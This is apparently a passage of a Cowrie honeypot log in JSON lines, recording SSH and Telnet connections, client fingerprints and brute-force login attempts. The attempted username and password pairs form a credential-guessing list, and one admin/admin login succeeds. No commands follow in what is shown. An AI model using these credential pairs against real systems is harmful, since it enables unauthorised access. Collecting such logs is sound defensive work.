{"eventid":"cowrie.login.failed","username":"admin","password":"enter2","message":"login attempt [admin/enter2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:07:46.609462Z","src_ip":"2.57.121.112","session":"60c647c15a85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"emiliano","message":"login attempt [admin/emiliano] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:07:47.714489Z","src_ip":"2.57.121.112","session":"60c647c15a85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:07:48.821399Z","src_ip":"2.57.121.112","session":"60c647c15a85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":26096,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d49b74327ab","protocol":"ssh","message":"New connection: 2.57.121.25:26096 (159.203.135.109:22) [session: 1d49b74327ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:07:57.101764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:07:57.106588Z","src_ip":"2.57.121.25","session":"1d49b74327ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:07:57.212311Z","src_ip":"2.57.121.25","session":"1d49b74327ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"indy500","message":"login attempt [user/indy500] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:07:57.705866Z","src_ip":"2.57.121.25","session":"1d49b74327ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"import","message":"login attempt [user/import] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:07:58.839893Z","src_ip":"2.57.121.25","session":"1d49b74327ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"imhorny","message":"login attempt [user/imhorny] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:07:59.955328Z","src_ip":"2.57.121.25","session":"1d49b74327ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.224.126.107","src_port":63741,"dst_ip":"159.203.135.109","dst_port":23,"session":"13146733fa4d","protocol":"telnet","message":"New connection: 43.224.126.107:63741 (159.203.135.109:23) [session: 13146733fa4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:08:00.823061Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"ilya1992","message":"login attempt [user/ilya1992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:08:01.063833Z","src_ip":"2.57.121.25","session":"1d49b74327ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"illumina","message":"login attempt [user/illumina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:08:02.173772Z","src_ip":"2.57.121.25","session":"1d49b74327ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:08:03.284973Z","src_ip":"2.57.121.25","session":"1d49b74327ab","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:08:08.903376Z","src_ip":"38.12.31.247","session":"69a06905037e","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:08:08.958173Z","src_ip":"38.12.31.247","session":"69a06905037e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.172.177","src_port":41890,"dst_ip":"10.17.0.5","dst_port":22,"session":"8142806a12a4","protocol":"ssh","message":"New connection: 152.32.172.177:41890 (10.17.0.5:22) [session: 8142806a12a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:08:23.438788Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:08:23.444253Z","src_ip":"152.32.172.177","session":"8142806a12a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:08:23.664892Z","src_ip":"152.32.172.177","session":"8142806a12a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbus-helper","password":"warnight","message":"login attempt [dbus-helper/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:08:24.577455Z","src_ip":"152.32.172.177","session":"8142806a12a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:08:25.803285Z","src_ip":"152.32.172.177","session":"8142806a12a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.212.86","src_port":49008,"dst_ip":"10.17.0.5","dst_port":22,"session":"29e4a3778615","protocol":"ssh","message":"New connection: 43.156.212.86:49008 (10.17.0.5:22) [session: 29e4a3778615]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:08:32.788433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:08:32.792850Z","src_ip":"43.156.212.86","session":"29e4a3778615","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:08:33.029939Z","src_ip":"43.156.212.86","session":"29e4a3778615","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"amministratore","message":"login attempt [root/amministratore] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:08:34.014151Z","src_ip":"43.156.212.86","session":"29e4a3778615","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:08:35.254577Z","src_ip":"43.156.212.86","session":"29e4a3778615","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.78.155.180","src_port":54906,"dst_ip":"10.17.0.5","dst_port":22,"session":"9464d74c5c12","protocol":"ssh","message":"New connection: 40.78.155.180:54906 (10.17.0.5:22) [session: 9464d74c5c12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:08:47.222393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:08:47.228120Z","src_ip":"40.78.155.180","session":"9464d74c5c12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:08:47.267591Z","src_ip":"40.78.155.180","session":"9464d74c5c12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rustserver","message":"login attempt [root/rustserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:08:47.448445Z","src_ip":"40.78.155.180","session":"9464d74c5c12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:08:48.490127Z","src_ip":"40.78.155.180","session":"9464d74c5c12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.22.18.220","src_port":39922,"dst_ip":"159.203.135.109","dst_port":22,"session":"24d6004a190e","protocol":"ssh","message":"New connection: 160.22.18.220:39922 (159.203.135.109:22) [session: 24d6004a190e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:08:56.138629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:08:56.143117Z","src_ip":"160.22.18.220","session":"24d6004a190e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:08:56.371089Z","src_ip":"160.22.18.220","session":"24d6004a190e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"airport","message":"login attempt [root/airport] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:08:57.323148Z","src_ip":"160.22.18.220","session":"24d6004a190e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:08:58.556921Z","src_ip":"160.22.18.220","session":"24d6004a190e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.235.138.43","src_port":48970,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab0c6ec340ce","protocol":"ssh","message":"New connection: 135.235.138.43:48970 (159.203.135.109:22) [session: ab0c6ec340ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:09:05.515644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:09:05.521724Z","src_ip":"135.235.138.43","session":"ab0c6ec340ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:09:05.711518Z","src_ip":"135.235.138.43","session":"ab0c6ec340ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.7.125.10","src_port":7298,"dst_ip":"159.203.135.109","dst_port":23,"session":"1204ce79e145","protocol":"telnet","message":"New connection: 189.7.125.10:7298 (159.203.135.109:23) [session: 1204ce79e145]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:09:05.726505Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"rush2112","message":"login attempt [root/rush2112] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:09:06.501988Z","src_ip":"135.235.138.43","session":"ab0c6ec340ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.7.125.10","src_port":7200,"dst_ip":"159.203.135.109","dst_port":23,"session":"c485b99e6d80","protocol":"telnet","message":"New connection: 189.7.125.10:7200 (159.203.135.109:23) [session: c485b99e6d80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:09:06.576875Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:09:07.695553Z","src_ip":"135.235.138.43","session":"ab0c6ec340ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.234.174.18","src_port":50732,"dst_ip":"10.17.0.5","dst_port":22,"session":"40f03e2dd12d","protocol":"ssh","message":"New connection: 177.234.174.18:50732 (10.17.0.5:22) [session: 40f03e2dd12d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:09:13.408727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:09:13.414170Z","src_ip":"177.234.174.18","session":"40f03e2dd12d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:09:13.562874Z","src_ip":"177.234.174.18","session":"40f03e2dd12d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ttttt","message":"login attempt [root/ttttt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:09:14.172901Z","src_ip":"177.234.174.18","session":"40f03e2dd12d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:09:15.320651Z","src_ip":"177.234.174.18","session":"40f03e2dd12d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.171","src_port":40884,"dst_ip":"159.203.135.109","dst_port":22,"session":"5303def38b4b","protocol":"ssh","message":"New connection: 80.94.92.171:40884 (159.203.135.109:22) [session: 5303def38b4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:09:15.962924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:09:16.129095Z","src_ip":"80.94.92.171","session":"5303def38b4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-